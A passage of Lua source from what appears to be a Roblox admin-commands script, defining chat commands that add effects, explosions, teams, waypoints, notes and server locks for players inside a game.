7624 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7625 local Players = STRING:Scan(Arguments[1], Speaker)
7626 for _,Player in pairs(Players) do
7627 if Player.Character and Player.Character:FindFirstChild("Torso") then
7628 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7629 end
7630 end
7631 end};
7632
7633 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7634 local Players = STRING:Scan(Arguments[1], Speaker)
7635 for _,Player in pairs(Players) do
7636 if Player.Character and Player.Character:FindFirstChild("Torso") then
7637 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7638 end
7639 end
7640 end};
7641
7642 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7643 local Players = STRING:Scan(Arguments[1], Speaker)
7644 for _,Player in pairs(Players) do
7645 if Player.Character and Player.Character:FindFirstChild("Torso") then
7646 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7647 end
7648 end
7649 end};
7650
7651 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7652 local Players = STRING:Scan(Arguments[1], Speaker)
7653 for _,Player in pairs(Players) do
7654 if Player.Character and Player.Character:FindFirstChild("Torso") then
7655 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7656 if Get:IsA("Sparkles") then
7657 Get:Destroy()
7658 end
7659 end
7660 end
7661 end
7662 end};
7663
7664 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7665 local Players = STRING:Scan(Arguments[1], Speaker)
7666 for _,Player in pairs(Players) do
7667 if Player.Character and Player.Character:FindFirstChild("Torso") then
7668 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7669 if Get:IsA("Fire") then
7670 Get:Destroy()
7671 end
7672 end
7673 end
7674 end
7675 end};
7676
7677 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7678 local Players = STRING:Scan(Arguments[1], Speaker)
7679 for _,Player in pairs(Players) do
7680 if Player.Character and Player.Character:FindFirstChild("Torso") then
7681 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7682 if Get:IsA("Smoke") then
7683 Get:Destroy()
7684 end
7685 end
7686 end
7687 end
7688 end};
7689
7690 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7691 local Players = STRING:Scan(Arguments[1], Speaker)
7692 for _,Player in pairs(Players) do
7693 if Player.Character and Player.Character:FindFirstChild("Torso") then
7694 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7695 local Boom = Instance.new("Explosion", Workspace)
7696 Boom.Position = Player.Character.Torso.Position
7697 end
7698 end
7699 end};
7700
7701 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7702 local Players = STRING:Scan(Arguments[1], Speaker)
7703 for _,Player in pairs(Players) do
7704 if Player.Character and Player.Character:FindFirstChild("Torso") then
7705 coroutine.wrap(function() for i = 1,50 do
7706 local Boom = Instance.new("Explosion", Workspace)
7707 Boom.Position = Player.Character.Torso.Position
7708 wait()
7709 end end)()
7710 coroutine.wrap(function() for i = 1,5 do
7711 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7712 end end)()
7713 end
7714 end
7715 end};
7716
7717 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7718 local Players = STRING:Scan(Arguments[1], Speaker)
7719 for _,Player in pairs(Players) do
7720 if Player.Character and Player.Character:FindFirstChild("Torso") then
7721 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7722 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7723 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7724 end
7725 end
7726 end};
7727
7728 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7729 local Players = STRING:Scan(Arguments[1], Speaker)
7730 for _,Player in pairs(Players) do
7731 if Player.Character and Player.Character:FindFirstChild("Torso") then
7732 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7733 end
7734 end
7735 end};
7736
7737 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7738 local Players = STRING:Scan(Arguments[1], Speaker)
7739 for _,Player in pairs(Players) do
7740 if Player.Character then
7741 Player.Character.Parent = Server.Lighting
7742 end
7743 end
7744 end};
7745
7746 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7747 local Players = STRING:Scan(Arguments[1], Speaker)
7748 for _,Player in pairs(Players) do
7749 if Player.Character then
7750 Player.Character.Parent = Server.Workspace
7751 Player.Character:MakeJoints()
7752 end
7753 end
7754 end};
7755
7756 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7757 local Players = STRING:Scan(Arguments[1], Speaker)
7758 for _,Player in pairs(Players) do
7759 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7760 Player.Character.Humanoid.PlatformStand = true
7761 end
7762 end
7763 end};
7764
7765 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7766 local Players = STRING:Scan(Arguments[1], Speaker)
7767 for _,Player in pairs(Players) do
7768 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7769 Player.Character.Humanoid.PlatformStand = false
7770 end
7771 end
7772 end};
7773
7774 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7775 local Players = STRING:Scan(Arguments[1], Speaker)
7776 for _,Player in pairs(Players) do
7777 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7778 Player.Character.Humanoid.Jump = true
7779 end
7780 end
7781 end};
7782
7783 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7784 local Players = STRING:Scan(Arguments[1], Speaker)
7785 for _,Player in pairs(Players) do
7786 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7787 Player.Character.Humanoid.Sit = true
7788 end
7789 end
7790 end};
7791
7792 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7793 local Players = STRING:Scan(Arguments[1], Speaker)
7794 for _,Player in pairs(Players) do
7795 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7796 Player.Character.Humanoid.Sit = false
7797 end
7798 end
7799 end};
7800
7801 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7802 local Players = STRING:Scan(Arguments[1], Speaker)
7803 for _,Player in pairs(Players) do
7804 if Player.Character and Player.Character:FindFirstChild("Torso") then
7805 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7806 end
7807 end
7808 end};
7809
7810 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7811 local Players = STRING:Scan(Arguments[1], Speaker)
7812 for _,Player in pairs(Players) do
7813 if Player.Character and Player.Character:FindFirstChild("Torso") then
7814 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7815 end
7816 end
7817 end};
7818
7819 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7820 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7821 end};
7822
7823 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7824 local Color = "Blue"
7825 local String = Arguments[2]
7826 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7827 if #ChatSplit >= 2 then
7828 if string.lower(ChatSplit[1]) == "green" then
7829 Color = "Green"
7830 String = ChatSplit[2]
7831 elseif string.lower(ChatSplit[1]) == "red" then
7832 Color = "Red"
7833 String = ChatSplit[2]
7834 end
7835 end
7836 local Players = STRING:Scan(Arguments[1], Speaker)
7837 for _,Player in pairs(Players) do
7838 if Player.Character and Player.Character:FindFirstChild("Head") then
7839 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7840 end
7841 end
7842 end};
7843
7844 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7845 local Players = STRING:Scan(Arguments[1], Speaker)
7846 for _,Player in pairs(Players) do
7847 if Player.Character then
7848 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7849 end
7850 end
7851 end};
7852
7853 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7854 local Players = STRING:Scan(Arguments[1], Speaker)
7855 local ID = nil
7856 if tonumber(Arguments[2]) ~= nil then
7857 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7858 else
7859 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7860 for _,Face in pairs(FaceTable) do
7861 if string.lower(Arguments[2]) == string.lower(Face) then
7862 ID = FaceID
7863 break
7864 end
7865 end
7866 end
7867 end
7868 if ID then
7869 for _,Player in pairs(Players) do
7870 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7871 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7872 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7873 end
7874 end
7875 end
7876 end};
7877
7878 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7879 local Players = STRING:Scan(Arguments[1], Speaker)
7880 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7881 for _,Player in pairs(Players) do
7882 if Player.Character and Player.Character:FindFirstChild("Head") then
7883 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7884 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7885 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7886 end
7887 end
7888 end};
7889
7890 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7891 local Players = STRING:Scan(Arguments[1], Speaker)
7892 for _,Player in pairs(Players) do
7893 if Player.Character and Player.Character:FindFirstChild("Head") then
7894 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7895 end
7896 end
7897 end};
7898
7899 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7900 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7901 end, Http = true};
7902
7903 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7904 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7905 end, Http = true};
7906
7907 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7908 local Players = STRING:Scan(Arguments[1], Speaker)
7909 for _,Player in pairs(Players) do
7910 local ExistingData = Player:LoadInstance("Data")
7911 if ExistingData == nil then
7912 ExistingData = Instance.new("Configuration")
7913 end
7914 ExistingData.Name = "Player Data"
7915 local Key = Instance.new("Configuration", ExistingData)
7916 Key.Name = Arguments[2]
7917 Player:SaveInstance("Data", ExistingData)
7918 end
7919 end};
7920
7921 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7922 local Players = STRING:Scan(Arguments[1], Speaker)
7923 local Data = Arguments[2]
7924 for _,Player in pairs(Players) do
7925 local ExistingData = Player:LoadInstance("Data")
7926 if ExistingData ~= nil then
7927 if string.lower(Data) == "all" then
7928 ExistingData:ClearAllChildren()
7929 else
7930 for _,DataObj in pairs(ExistingData:GetChildren()) do
7931 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7932 DataObj:Destroy()
7933 end
7934 end
7935 end
7936 end
7937 Player:SaveInstance("Data", ExistingData)
7938 end
7939 end};
7940
7941 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7942 local Players = STRING:Scan(Arguments[1], Speaker)
7943 local DataSet = {}
7944 for _,Player in pairs(Players) do
7945 local ExistingData = Player:LoadInstance("Data")
7946 if ExistingData ~= nil then
7947 if #ExistingData:GetChildren() ~= 0 then
7948 for _,Data in pairs(ExistingData:GetChildren()) do
7949 table.insert(DataSet, Player.Name..": "..Data.Name)
7950 end
7951 else
7952 table.insert(DataSet, "Data does not exist for "..Player.Name)
7953 end
7954 else
7955 table.insert(DataSet, "Data does not exist for "..Player.Name)
7956 end
7957 end
7958 GUI:ListGui(Speaker, "Notes", DataSet)
7959 end};
7960
7961 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7962 local Players = STRING:Scan(Arguments[1], Speaker)
7963 for _,Player in pairs(Players) do
7964 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7965 Player.Character.Humanoid.WalkSpeed = 16
7966 end
7967 end
7968 end};
7969
7970 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7971 local Players = STRING:Scan(Arguments[1], Speaker)
7972 for _,Player in pairs(Players) do
7973 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7974 Player.Character.Humanoid.WalkSpeed = -16
7975 end
7976 end
7977 end};
7978
7979 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7980 local TeamColor = BrickColor.random()
7981 local TeamName = Arguments[1]
7982 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7983 if #TeamNameSplit >= 2 then
7984 local Color = TeamNameSplit[1]
7985 local NewTeamName = TeamNameSplit[2]
7986 if Color == "Medium stone grey" then
7987 TeamColor = BrickColor.new(Color)
7988 TeamName = NewTeamName
7989 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7990 TeamColor = BrickColor.new(Color)
7991 TeamName = NewTeamName
7992 elseif Colors[string.upper(Color)] then
7993 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7994 TeamName = NewTeamName
7995 end
7996 end
7997
7998 local NewTeam = Instance.new("Team", Server.Teams)
7999 NewTeam.TeamColor = TeamColor
8000 NewTeam.Name = TeamName
8001 end};
8002
8003 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8004 local Players = STRING:Scan(Arguments[1], Speaker)
8005 for _,Player in pairs(Players) do
8006 Player.Neutral = true
8007 end
8008 end};
8009
8010 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8011 local Players = STRING:Scan(Arguments[1], Speaker)
8012 if string.lower(Arguments[2]) == "none" then
8013 for _,Player in pairs(Players) do
8014 Player.Neutral = true
8015 end
8016 else
8017 for _,Obj in pairs(Server.Teams:GetChildren()) do
8018 if Obj:IsA("Team") then
8019 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8020 for _,Player in pairs(Players) do
8021 Player.Neutral = false
8022 Player.TeamColor = Obj.TeamColor
8023 end
8024 end
8025 end
8026 end
8027 end
8028 end};
8029
8030 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8031 for _,Obj in pairs(Server.Teams:GetChildren()) do
8032 if Obj:IsA("Team") then
8033 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8034 for _,Player in pairs(Server.Players:GetPlayers()) do
8035 if Player.TeamColor == Obj.TeamColor then
8036 Player.Neutral = true
8037 end
8038 end
8039 Obj:Destroy()
8040 end
8041 end
8042 end
8043 end};
8044
8045 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8046 for _,Player in pairs(Server.Players:GetPlayers()) do
8047 Player.Neutral = true
8048 end
8049 for _,Obj in pairs(Server.Teams:GetChildren()) do
8050 if Obj:IsA("Team") then
8051 Obj:Destroy()
8052 end
8053 end
8054 end};
8055
8056 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8057 for _,Player in pairs(Server.Players:GetPlayers()) do
8058 GUI:Countdown(Player, Arguments[1])
8059 end
8060 end};
8061
8062 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8063 local Players = STRING:Scan(Arguments[1], Speaker)
8064 for _,Player in pairs(Players) do
8065 if Player:FindFirstChild("Backpack") then
8066 CORE:ExecuteResource("ShowAd", Player.Backpack)
8067 end
8068 end
8069 end};
8070
8071 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8072 local Players = STRING:Scan(Arguments[1], Speaker)
8073 for _,Player in pairs(Players) do
8074 if Player.Character then
8075 for PosName,WP in pairs(Waypoints) do
8076 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8077 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8078 break
8079 end
8080 end
8081 end
8082 end
8083 end};
8084
8085 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8086 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8087 end};
8088
8089 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8090 local Num = 0
8091 for PosName,WP in pairs(Waypoints) do
8092 Num = Num + 1
8093 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8094 Waypoints[PosName] = nil
8095 end
8096 end
8097 end};
8098
8099 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8100 local WaypointHolder,WaypointRaw = {},{}
8101 for Name, WP in pairs(Waypoints) do
8102 local View = Name..": "..tostring(WP)
8103 table.insert(WaypointHolder, View)
8104 WaypointRaw[View] = WP
8105 end
8106 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8107 Clicked.Event:connect(function(Text)
8108 local Waypoint = WaypointRaw[Text]
8109 if Waypoint then
8110 if Speaker.Character then
8111 Speaker.Character:MoveTo(Waypoint)
8112 end
8113 end
8114 end)
8115 end};
8116
8117 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8118 local Players = STRING:Scan(Arguments[1], Speaker)
8119 local List = {}
8120 for _,Player in pairs(Players) do
8121 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8122 end
8123 GUI:ListGui(Speaker, "Listed Players", List)
8124 end};
8125
8126 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8127 if tonumber(Arguments[1]) then
8128 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8129 else
8130 local Players = STRING:Scan(Arguments[1], Speaker)
8131 for _,Player in pairs(Players) do
8132 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8133 end
8134 end
8135 end};
8136
8137 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8138 local Players = STRING:Scan(Arguments[1], Speaker)
8139 local Friends,OneFriend = {}, false
8140 for _,Player in pairs(Players) do
8141 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8142 --[[if Player:IsBestFriendsWith(User.UserId) then
8143 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8144 OneFriend = true
8145 ]]
8146 if Player:IsFriendsWith(User.UserId) then
8147 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8148 OneFriend = true
8149 end
8150 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8151 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8152 end
8153 end end
8154 end
8155 GUI:ListGui(Speaker, "Friend List", Friends)
8156 end};
8157
8158 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8159 Settings.ServerLocked = true
8160 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8161 end};
8162
8163 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8164 Settings.ServerLocked = false
8165 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8166 end};
8167
8168 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8169 local OldAge = Settings.MinimumAge
8170 local Age = tostring(Arguments[1])
8171 if Age then
8172 Settings.MinimumAge = Age
8173 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8174 end
8175 end};
8176
8177 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8178 if Settings.VIPAdminID <= 1 then
8179 MARKET:PromptPurchase(Speaker, VIPAdminID)
8180 else
8181 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8182 end
8183 end};
8184
8185 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8186 if Settings.VIPMemberID <= 1 then
8187 MARKET:PromptPurchase(Speaker, VIPMemberID)
8188 else
8189 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8190 end
8191 end};
8192
8193 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8194 if tonumber(Arguments[2]) then
8195 local Players = STRING:Scan(Arguments[1], Speaker)
8196 local Size = tonumber(Arguments[2])+25
8197 for _,Player in pairs(Players) do
8198 if Player.Character then
8199 if Player.Character:FindFirstChild("Head") then
8200 if Player.Character.Head:FindFirstChild("Mesh") then
8201 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8202 end
8203 end
8204 end
8205 end
8206 end
8207 end};
8208
8209 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8210 local Players = STRING:Scan(Arguments[1], Speaker)
8211 for _,Player in pairs(Players) do
8212 if Player.Character and Player.Character:FindFirstChild("Torso") then
8213 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8214 Player.Character.Parent = nil
8215 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8216 end
8217 end
8218 end};
8219
8220 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8221 GUI:SettingsGui(Speaker)
8222 end};
8223
8224 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8225 if tonumber(Arguments[2]) then
8226 local Players = STRING:Scan(Arguments[1], Speaker)
8227 local List = {}
8228 for _,Player in pairs(Players) do
8229 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8230 table.insert(List, Player.Name)
8231 end
8232 end
8233 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8234 end
8235 end};
8236
8237 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8238 local Players = STRING:Scan(Arguments[1], Speaker)
8239 for _,Player in pairs(Players) do
8240 if Player.Character and Player.Character:FindFirstChild("Head") then
8241 local Char = Player.Character
8242 Char:BreakJoints()
8243 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8244 Obj.Anchored = true
8245 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8246 local Decal = Instance.new("Decal", Obj)
8247 Decal.Texture = "rbxassetid://178913323"
8248 Decal.Face = Face
8249 end
8250 end)
8251 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8252 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8253 Sound1:Play() Sound2:Play()
8254 coroutine.wrap(function()
8255 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8256 repeat wait()
8257 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8258 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8259 Obj.Transparency = math.random(0,30)/100
8260 Obj.Reflectance = math.random(0,50)/100
8261 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8262 end)
8263 until Char ~= Player.Character or Char.Parent == nil
8264 end)()
8265 end
8266 end
8267 end, Hidden = true};
8268
8269 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8270 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8271 end, Http = true};
8272
8273 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8274 local Players = STRING:Scan(Arguments[1], Speaker)
8275 for _,Player in pairs(Players) do
8276 if Player.Character then
8277 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8278 Obj.Material = "Neon"
8279 end)
8280 end
8281 end
8282 end};
8283
8284 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8285 local Players = STRING:Scan(Arguments[1], Speaker)
8286 for _,Player in pairs(Players) do
8287 if Player.Character then
8288 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8289 Obj.Material = "Plastic"
8290 end)
8291 end
8292 end
8293 end};
8294
8295 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
